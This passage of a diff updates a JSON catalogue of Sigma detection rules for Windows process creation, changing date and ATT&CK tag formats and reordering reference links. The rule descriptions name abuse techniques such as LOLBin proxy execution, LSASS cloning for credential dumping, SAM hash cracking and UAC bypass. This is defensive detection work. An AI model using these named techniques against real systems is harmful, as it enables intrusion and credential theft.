"https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_workflow_compiler.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1127", "attack.t1218" @@ -28384,7 +28391,7 @@ "description": "Detects calls to \"SyncInvoke\" that is part of the \"CL_Invocation.ps1\" script to proxy execution using \"System.Diagnostics.Process\"", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), oscd.community, Natalia Shornikova", - "creation_date": "2020/10/14", + "creation_date": "2020-10-14", "falsepositive": [ "Unknown" ], @@ -28393,12 +28400,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/", "https://twitter.com/bohops/status/948061991012327424", + "https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cl_invocation.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1216" ] }, @@ -28418,7 +28425,7 @@ "description": "Detects usage of Sysinternals PsService which can be abused for service reconnaissance and tampering", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/16", + "creation_date": "2022-06-16", "falsepositive": [ "Legitimate use of PsService by an administrator" ], @@ -28452,7 +28459,7 @@ "description": "Detects potentially suspicious child processes of a ClickOnce deployment application", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/06/12", + "creation_date": "2023-06-12", "falsepositive": [ "Unknown" ], @@ -28466,7 +28473,7 @@ ], "tags": [ "attack.execution", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "67bc0e75-c0a9-4cfc-8754-84a505b63c04", @@ -28476,7 +28483,7 @@ "description": "Detect usage of the \"ssh.exe\" binary as a proxy to launch other programs", "meta": { "author": "frack113, Nasreddine Bencherchali", - "creation_date": "2022/12/29", + "creation_date": "2022-12-29", "falsepositive": [ "Legitimate usage for administration purposes" ], @@ -28485,15 +28492,15 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/pull/211/files", - "https://man.openbsd.org/ssh_config#LocalCommand", - "https://man.openbsd.org/ssh_config#ProxyCommand", "https://lolbas-project.github.io/lolbas/Binaries/Ssh/", + "https://man.openbsd.org/ssh_config#ProxyCommand", + "https://man.openbsd.org/ssh_config#LocalCommand", + "https://github.com/LOLBAS-Project/LOLBAS/pull/211/files", "https://gtfobins.github.io/gtfobins/ssh/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ssh.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1202" ] }, @@ -28513,7 +28520,7 @@ "description": "Use of the commandline to shutdown or reboot windows", "meta": { "author": "frack113", - "creation_date": "2022/01/01", + "creation_date": "2022-01-01", "falsepositive": [ "Unknown" ], @@ -28522,8 +28529,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md", + "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shutdown_execution.yml" ], "tags": [ @@ -28547,7 +28554,7 @@ "description": "Detects potentially suspicious child processes of \"Diskshadow.exe\". This could be an attempt to bypass parent/child relationship detection or application whitelisting rules.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/09/15", + "creation_date": "2023-09-15", "falsepositive": [ "False postitve can occur in cases where admin scripts levreage the \"exec\" flag to execute applications" ], @@ -28556,17 +28563,17 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/", - "https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware", - "https://www.lifars.com/wp-content/uploads/2022/01/GriefRansomware_Whitepaper-2.pdf", - "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", - "https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/", "https://medium.com/@cyberjyot/lolbin-execution-via-diskshadow-f6ff681a27a4", + "https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/", + "https://www.lifars.com/wp-content/uploads/2022/01/GriefRansomware_Whitepaper-2.pdf", + "https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/", "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow", + "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", + "https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_diskshadow_child_process_susp.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -28586,7 +28593,7 @@ "description": "Detects calls to the \"terminate\" function via wmic in order to kill an application", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/09/11", + "creation_date": "2023-09-11", "falsepositive": [ "Unknown" ], @@ -28595,8 +28602,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf", "https://cyble.com/blog/lockfile-ransomware-using-proxyshell-attack-to-deploy-ransomware/", + "https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_terminate_application.yml" ], "tags": [ @@ -28620,7 +28627,7 @@ "description": "Detects the usage of nimgrab, a tool bundled with the Nim programming framework and used for downloading files.", "meta": { "author": "frack113", - "creation_date": "2022/08/28", + "creation_date": "2022-08-28", "falsepositive": [ "Legitimate use of Nim on a developer systems" ], @@ -28633,7 +28640,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nimgrab.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -28653,7 +28660,7 @@ "description": "Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.", "meta": { "author": "frack113", - "creation_date": "2022/01/07", + "creation_date": "2022-01-07", "falsepositive": [ "Unknown" ], @@ -28667,7 +28674,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_evil_winrm.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.006" ] }, @@ -28687,7 +28694,7 @@ "description": "Execute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against", "meta": { "author": "frack113", - "creation_date": "2021/12/27", + "creation_date": "2021-12-27", "falsepositive": [ "Tools that use similar command line flags and values" ], @@ -28701,7 +28708,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_hashcat.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1110.002" ] }, @@ -28721,7 +28728,7 @@ "description": "Detects the execution of \"forfiles\" from a non-default location, in order to potentially spawn a custom \"cmd.exe\" from the current working directory.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Anish Bogati", - "creation_date": "2024/01/05", + "creation_date": "2024-01-05", "falsepositive": [ "Unknown" ], @@ -28734,7 +28741,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_forfiles_child_process_masquerading.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036" ] }, @@ -28754,7 +28761,7 @@ "description": "Detects usage of findstr with the \"EVERYONE\" or \"BUILTIN\" keywords.\nThis was seen being used in combination with \"icacls\" and other utilities to spot misconfigured files or folders permissions.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/12", + "creation_date": "2022-08-12", "falsepositive": [ "Unknown" ], @@ -28767,7 +28774,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_recon_everyone.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1552.006" ] }, @@ -28787,7 +28794,7 @@ "description": "Detects a certain command line flag combination used by \"devinit.exe\", which can be abused as a LOLBIN to download arbitrary MSI packages on a Windows system", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/01/11", + "creation_date": "2022-01-11", "falsepositive": [ "Unknown" ], @@ -28796,13 +28803,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Devinit/", "https://twitter.com/mrd0x/status/1460815932402679809", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Devinit/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_devinit_lolbin_usage.yml" ], "tags": [ "attack.execution", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -28822,7 +28829,7 @@ "description": "Detect the use of \"<\" to read and potentially execute a file via cmd.exe", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/03/07", + "creation_date": "2023-03-07", "falsepositive": [ "Unknown" ], @@ -28856,7 +28863,7 @@ "description": "Detects possible password spraying attempts using Dsacls", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/20", + "creation_date": "2022-06-20", "falsepositive": [ "Legitimate use of dsacls to bind to an LDAP session" ], @@ -28866,12 +28873,12 @@ "logsource.product": "windows", "refs": [ "https://ss64.com/nt/dsacls.html", - "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)", "https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#password-spraying-anyone", + "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsacls_password_spray.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -28891,7 +28898,7 @@ "description": "Detects execition of commands and binaries from the context of The program compatibility assistant (Pcalua.exe). This can be used as a LOLBIN in order to bypass application whitelisting.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", - "creation_date": "2022/06/14", + "creation_date": "2022-06-14", "falsepositive": [ "Legitimate use by a via a batch script or by an administrator." ], @@ -28925,7 +28932,7 @@ "description": "Detects potential process patterns related to Cobalt Strike beacon activity", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/07/27", + "creation_date": "2021-07-27", "falsepositive": [ "Unknown" ], @@ -28959,7 +28966,7 @@ "description": "Detects usage of the PsLogList utility to dump event log in order to extract admin accounts and perform account discovery or delete events logs", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/12/18", + "creation_date": "2021-12-18", "falsepositive": [ "Another tool that uses the command line switches of PsLogList", "Legitimate use of PsLogList by an administrator" @@ -28970,9 +28977,9 @@ "logsource.product": "windows", "refs": [ "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos", - "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Sysinternals/PsLogList", - "https://twitter.com/EricaZelic/status/1614075109827874817", "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "https://twitter.com/EricaZelic/status/1614075109827874817", + "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Sysinternals/PsLogList", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psloglist.yml" ], "tags": [ @@ -29012,7 +29019,7 @@ "description": "Detects when a user installs certificates by using CertOC.exe to load the target DLL file.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/15", + "creation_date": "2023-02-15", "falsepositive": [ "Unknown" ], @@ -29021,13 +29028,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Certoc/", "https://twitter.com/sblmsrsn/status/1445758411803480072?s=20", "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-fe98e74189873d6df72a15df2eaa0315c59ba9cdaca93ecd68afc4ea09194ef2", + "https://lolbas-project.github.io/lolbas/Binaries/Certoc/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certoc_load_dll_susp_locations.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -29047,7 +29054,7 @@ "description": "Detects usage of winget to add a new insecure (http) download source.\nWinget will not allow the addition of insecure sources, hence this could indicate potential suspicious activity (or typos)\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/04/17", + "creation_date": "2023-04-17", "falsepositive": [ "False positives might occur if the users are unaware of such control checks" ], @@ -29061,7 +29068,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winget_add_insecure_custom_source.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1059" ] @@ -29082,7 +29089,7 @@ "description": "Detects the usage of the \"sftp.exe\" binary as a LOLBIN by abusing the \"-D\" flag", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/11/10", + "creation_date": "2022-11-10", "falsepositive": [ "Unknown" ], @@ -29095,7 +29102,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sftp.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1218" ] @@ -29116,7 +29123,7 @@ "description": "Detects the execution of a renamed version of the \"Mavinject\" process. Which can be abused to perform process injection using the \"/INJECTRUNNING\" flag", "meta": { "author": "frack113, Florian Roth", - "creation_date": "2022/12/05", + "creation_date": "2022-12-05", "falsepositive": [ "Unlikely" ], @@ -29125,19 +29132,19 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.004/T1056.004.md", - "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", - "https://twitter.com/gN3mes1s/status/941315826107510784", "https://github.com/SigmaHQ/sigma/issues/3742", + "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e", "https://twitter.com/Hexacorn/status/776122138063409152", "https://reaqta.com/2017/12/mavinject-microsoft-injector/", "https://github.com/keyboardcrunch/SentinelOne-ATTACK-Queries/blob/6a228d23eefe963ca81f2d52f94b815f61ef5ee0/Tactics/DefenseEvasion.md#t1055-process-injection", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.004/T1056.004.md", + "https://twitter.com/gN3mes1s/status/941315826107510784", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_mavinject.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1055.001", "attack.t1218.013" ] @@ -29165,7 +29172,7 @@ "description": "Detects the command line executed when TeamViewer starts a session started by a remote host.\nOnce a connection has been started, an investigator can verify the connection details by viewing the \"incoming_connections.txt\" log file in the TeamViewer folder.\n", "meta": { "author": "Josh Nickels, Qi Nan", - "creation_date": "2024/03/11", + "creation_date": "2024-03-11", "falsepositive": [ "Legitimate usage of TeamViewer" ], @@ -29178,7 +29185,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_teamviewer_incoming_connection.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1133" ] }, @@ -29198,7 +29205,7 @@ "description": "Detects uses of a renamed legitimate createdump.exe LOLOBIN utility to dump process memory", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/09/20", + "creation_date": "2022-09-20", "falsepositive": [ "Command lines that use the same flags" ], @@ -29207,12 +29214,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/bopin2020/status/1366400799199272960", "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", + "https://twitter.com/bopin2020/status/1366400799199272960", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_createdump.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036", "attack.t1003.001" ] @@ -29240,7 +29247,7 @@ "description": "Detects usage of the \"wusa.exe\" (Windows Update Standalone Installer) utility to extract cab using the \"/extract\" argument which is not longer supported. This could indicate an attacker using an old technique", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/04", + "creation_date": "2022-08-04", "falsepositive": [ "The \"extract\" flag still works on older 'wusa.exe' versions, which could be a legitimate use (monitor the path of the cab being extracted)" ], @@ -29263,7 +29270,7 @@ "description": "Detects a suspicious LSASS process process clone that could be a sign of credential dumping activity", "meta": { "author": "Florian Roth (Nextron Systems), Samir Bousseaden", - "creation_date": "2021/11/27", + "creation_date": "2021-11-27", "falsepositive": [ "Unknown" ], @@ -29272,13 +29279,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/SBousseaden/status/1464566846594691073?s=20", "https://twitter.com/Hexacorn/status/1420053502554951689", + "https://twitter.com/SBousseaden/status/1464566846594691073?s=20", "https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lsass_process_clone.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003", "attack.t1003.001" ] @@ -29306,7 +29313,7 @@ "description": "Detects various indicators of Microsoft Connection Manager Profile Installer execution", "meta": { "author": "Nik Seetharaman", - "creation_date": "2018/07/16", + "creation_date": "2018-07-16", "falsepositive": [ "Legitimate CMSTP use (unlikely in modern enterprise environments)" ], @@ -29319,7 +29326,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmstp_execution_by_creation.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1218.003", "attack.g0069", @@ -29342,7 +29349,7 @@ "description": "Adversaries can interact with the DACLs using built-in Windows commands takeown which can grant adversaries higher permissions on specific files and folders", "meta": { "author": "frack113", - "creation_date": "2022/01/30", + "creation_date": "2022-01-30", "falsepositive": [ "Scripts created by developers and admins", "Administrative activity" @@ -29357,7 +29364,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_takeown_recursive_own.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1222.001" ] }, @@ -29377,7 +29384,7 @@ "description": "Detects a potentially suspicious execution from an uncommon folder.", "meta": { "author": "Florian Roth (Nextron Systems), Tim Shelton", - "creation_date": "2019/01/16", + "creation_date": "2019-01-16", "falsepositive": [ "Unknown" ], @@ -29386,14 +29393,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/mbevilacqua/appcompatprocessor/blob/6c847937c5a836e2ce2fe2b915f213c345a3c389/AppCompatSearch.txt", "https://github.com/ThreatHuntingProject/ThreatHunting/blob/cb22598bb70651f88e0285abc8d835757d2cb596/hunts/suspicious_process_creation_via_windows_event_logs.md", + "https://github.com/mbevilacqua/appcompatprocessor/blob/6c847937c5a836e2ce2fe2b915f213c345a3c389/AppCompatSearch.txt", "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_path.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036" ] }, @@ -29413,7 +29420,7 @@ "description": "Checks whether the image specified in a process creation event is not a full, absolute path (caused by process ghosting or other unorthodox methods to start a process)", "meta": { "author": "Max Altgelt (Nextron Systems)", - "creation_date": "2021/12/09", + "creation_date": "2021-12-09", "falsepositive": [ "Unknown" ], @@ -29426,7 +29433,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_image_missing.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "71158e3f-df67-472b-930e-7d287acaa3e1", @@ -29436,7 +29443,7 @@ "description": "Detects calls to base64 encoded WMI class such as \"Win32_ShadowCopy\", \"Win32_ScheduledJob\", etc.", "meta": { "author": "Christian Burkard (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/30", + "creation_date": "2023-01-30", "falsepositive": [ "Unknown" ], @@ -29451,7 +29458,7 @@ "tags": [ "attack.execution", "attack.t1059.001", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027" ] }, @@ -29478,7 +29485,7 @@ "description": "Detects the use of NirCmd tool for command execution, which could be the result of legitimate administrative activity", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/01/24", + "creation_date": "2022-01-24", "falsepositive": [ "Legitimate use by administrators" ], @@ -29514,7 +29521,7 @@ "description": "Detects usage of the WMI class \"Win32_NTEventlogFile\" in a potentially suspicious way (delete, backup, change permissions, etc.) from a PowerShell script", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/07/13", + "creation_date": "2023-07-13", "falsepositive": [ "Unknown" ], @@ -29527,7 +29534,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_nteventlogfile_usage.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "caf201a9-c2ce-4a26-9c3a-2b9525413711", @@ -29537,7 +29544,7 @@ "description": "Detects Cobalt Strike module/commands accidentally entered in CMD shell", "meta": { "author": "_pete_0, TheDFIRReport", - "creation_date": "2022/05/06", + "creation_date": "2022-05-06", "falsepositive": [ "Unknown" ], @@ -29547,8 +29554,8 @@ "logsource.product": "windows", "refs": [ "https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf", - "https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/", "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", + "https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_cobaltstrike_bloopers_modules.yml" ], "tags": [ @@ -29572,7 +29579,7 @@ "description": "Detects unusual parent or children of the wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) processes as seen being used with bumblebee activity", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/12", + "creation_date": "2022-08-12", "falsepositive": [ "Unknown" ], @@ -29581,13 +29588,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime", - "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_unusual_parents.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution" ] }, @@ -29598,7 +29605,7 @@ "description": "Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/23", + "creation_date": "2021-08-23", "falsepositive": [ "Unknown" ], @@ -29611,8 +29618,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wmp.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -29632,7 +29639,7 @@ "description": "Detect commandline usage of Microsoft Connection Manager Profile Installer (cmstp.exe) to install specially formatted local .INF files", "meta": { "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", - "creation_date": "2019/10/24", + "creation_date": "2019-10-24", "falsepositive": [ "Legitimate use of cmstp.exe utility by legitimate user" ], @@ -29641,14 +29648,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/e584f1a1-c303-4885-8a66-21360c90995b.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.003/T1218.003.md", "https://lolbas-project.github.io/lolbas/Binaries/Cmstp/", - "https://eqllib.readthedocs.io/en/latest/analytics/e584f1a1-c303-4885-8a66-21360c90995b.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_cmstp.yml" ], "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", + "attack.privilege-escalation", + "attack.defense-evasion", "attack.t1548.002", "attack.t1218.003" ] @@ -29676,7 +29683,7 @@ "description": "Detects a \"dllhost\" process spawning with no commandline arguments which is very rare to happen and could indicate process injection activity or malware mimicking similar system processes.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/27", + "creation_date": "2022-06-27", "falsepositive": [ "Unlikely" ], @@ -29686,12 +29693,12 @@ "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/child-processes/", - "https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/goofy-guineapig/NCSC-MAR-Goofy-Guineapig.pdf", "https://nasbench.medium.com/what-is-the-dllhost-exe-process-actually-running-ef9fe4c19c08", + "https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/goofy-guineapig/NCSC-MAR-Goofy-Guineapig.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dllhost_no_cli_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1055" ] }, @@ -29711,7 +29718,7 @@ "description": "Detects scheduled task creation using \"schtasks\" that contain potentially suspicious or uncommon commands", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/02/23", + "creation_date": "2022-02-23", "falsepositive": [ "Software installers that run from temporary folders and also install scheduled tasks are expected to generate some false positives" ], @@ -29721,8 +29728,8 @@ "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/512c1352-6380-4436-b27d-bb62f0c020d6/", - "https://twitter.com/RedDrip7/status/1506480588827467785", "https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/devil-bait/NCSC-MAR-Devil-Bait.pdf", + "https://twitter.com/RedDrip7/status/1506480588827467785", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_susp_pattern.yml" ], "tags": [ @@ -29746,7 +29753,7 @@ "description": "Detects file execution using the msdeploy.exe lolbin", "meta": { "author": "Beyu Denis, oscd.community", - "creation_date": "2020/10/18", + "creation_date": "2020-10-18", "falsepositive": [ "System administrator Usage" ], @@ -29755,13 +29762,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msdeploy/", "https://twitter.com/pabraeken/status/999090532839313408", "https://twitter.com/pabraeken/status/995837734379032576", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msdeploy/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_msdeploy.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -29781,7 +29788,7 @@ "description": "Detects the execution of a potential recon command where the results are piped to \"findstr\". This is meant to trigger on inline calls of \"cmd.exe\" via the \"/c\" or \"/k\" for example.\nAttackers often time use this technique to extract specific information they require in their reconnaissance phase.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), frack113", - "creation_date": "2023/07/06", + "creation_date": 